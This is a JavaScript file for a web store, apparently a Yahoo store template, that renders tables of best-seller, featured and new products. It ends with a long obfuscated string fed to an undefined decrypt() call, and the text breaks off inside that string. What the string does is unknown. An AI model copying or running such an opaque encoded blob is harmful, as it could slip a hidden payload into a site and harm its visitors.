// JavaScript Document
/*Start Modifiable*/
//For any extra contents You will have to add thsoe properties
//If you have image seperator then assign it to variable bgColImag and bgRowImage
//Currently script shows the follwing contents ("Name","Image","Price","Saleprice") add and remove as required 
var showContents = new Array("Image","Name"); //Change the order the way you want if name appears first first row shows name
var showSeperatorRow = false;
var showSeperatorColumn = true;
var seperatorRowBgColor = "#ffffff";
var seperatorColBgColor = "#ffffff";
/*End Modifiable*/

//Dont Modify the code below unless needed
var uniquearr = new Array();
var uniquearrBS = new Array();
var uniquearrF = new Array();
var uniquearrWN = new Array();
var y,z;
var duplicate=false;
var namecell, pricecell, salepricecell, imgcell;
var bestSellerArray = new Array();
var featuredArray = new Array();
var whatsnewArray = new Array();

function seperatorRow(totalColSpan){
	if(showSeperatorRow)
		totalColSpan = (totalColSpan * 2) - 1
	document.write("<tr><td colspan='" + totalColSpan + "' bgcolor='" + seperatorRowBgColor + "'>");
	document.write("<img src=http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif width=1 height=8>");
	document.write("</td></tr>");
}

function seperatorColumn(totalRowSpan){
	document.write("<td rowspan='" + totalRowSpan + "' width=1 bgcolor='" + seperatorColBgColor + "'>");
	document.write("<img src=http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif width=1 height=1>");
	document.write("</td>");
}

function BestSeller(id, name, img, price, saleprice, fullprice) {
	this.id=id.toLowerCase();
	this.name=name;
	this.img=img;
	this.price=price;
	this.saleprice=saleprice;
	this.fullprice=fullprice;
	bestSellerArray[bestSellerArray.length] = this;
}

function Featured(id, name, img, price, saleprice, fullprice) {
	this.id=id.toLowerCase();
	this.name=name;
	this.img=img;
	this.price=price;
	this.saleprice=saleprice;
	this.fullprice=fullprice;
	featuredArray[featuredArray.length] = this;
}

function WhatsNew(id, name, img, price, saleprice, fullprice) {
	this.id=id.toLowerCase();
	this.name=name;
	this.img=img;
	this.price=price;
	this.saleprice=saleprice;
	this.fullprice=fullprice;
	whatsnewArray[whatsnewArray.length] = this;
}

function writeName(obj,colWidth){
	if(obj.name != "-@NULL@-")
		var namecell = "<td align=center valign=top id='rotateName' width='" + colWidth + "%'><a href=" + obj.id +".html>" + obj.name + "</a>";
	else
		var namecell = "<td align=center valign=top>&nbsp;";
	document.write(namecell + "<br>");
	if(obj.fullprice != "-@NULL@-")
		var fullpricecell = obj.fullprice;
	else
		var fullpricecell = "";
	document.write(fullpricecell + "</td>");
}

function writeImage(obj){
	if(obj.img != "-@NULL@-")
		var imgcell = "<td align=center valign=bottom width='" + colWidth + "%' id=imagecell><a href=" + obj.id +".html><img src='" + obj.img + "' border=''0></a></td>";
	else
		var imgcell = "<td align=center>&nbsp;</td>";
	document.write(imgcell);
}

function writePrice(obj){
	if(obj.price != "-@NULL@-")
		var pricecell = "<td align=center id='rotatePrice' width='" + colWidth + "%'>" + regpriceTxt + " $" + round_decimals(obj.price,2) + "</td>";
	else
		var pricecell = "<td align=center>&nbsp;</td>";
	document.write(pricecell);
}

function writeSaleprice(obj){
	if(obj.saleprice != "-@NULL@-")
		var salepricecell = "<td align=center id='rotateSaleprice' width='" + colWidth + "%'>" + salepriceTxt + " $" + round_decimals(obj.saleprice,2) + "</td>";
	else
		var salepricecell = "<td align=center>&nbsp;</td>";
	document.write(salepricecell);
}


var string1 = decrypt("	G0wcIG2nvNZa5Dz6y~dFwzGBAc~d0yDFe8wI ~b EU8MAF	~fdD0yFMEd~dw21MEd~dDDEvysEF7Cxy~c~f~~f1zwbMw2F]ceI  ~C~'~ZcF~U~'~D=~~LJGy~CFr~gpCwywBiCC]nFr~K~Jt  C7ZG~gey'~c~c~f~~fW9L~dwt$~HcFnGC 1xDPAA ~c6yaK 8~D~~SLUB CxydDt.n~'hx~'~g~~WhABI BJ_ rAA Ey~H~G~~QfW 2d0t~'lFKr~'~W~~WhSLaB7FBhnMw{yw nYfDOB~EYwCx2CCaIEv2/2~ep~Eed.~ftCHHKCBQ~F~g~~WhSL1B y3~e~~UQf0FArp~'VOFMr~'t^~~hSLUeyKyy5M092_2eF0r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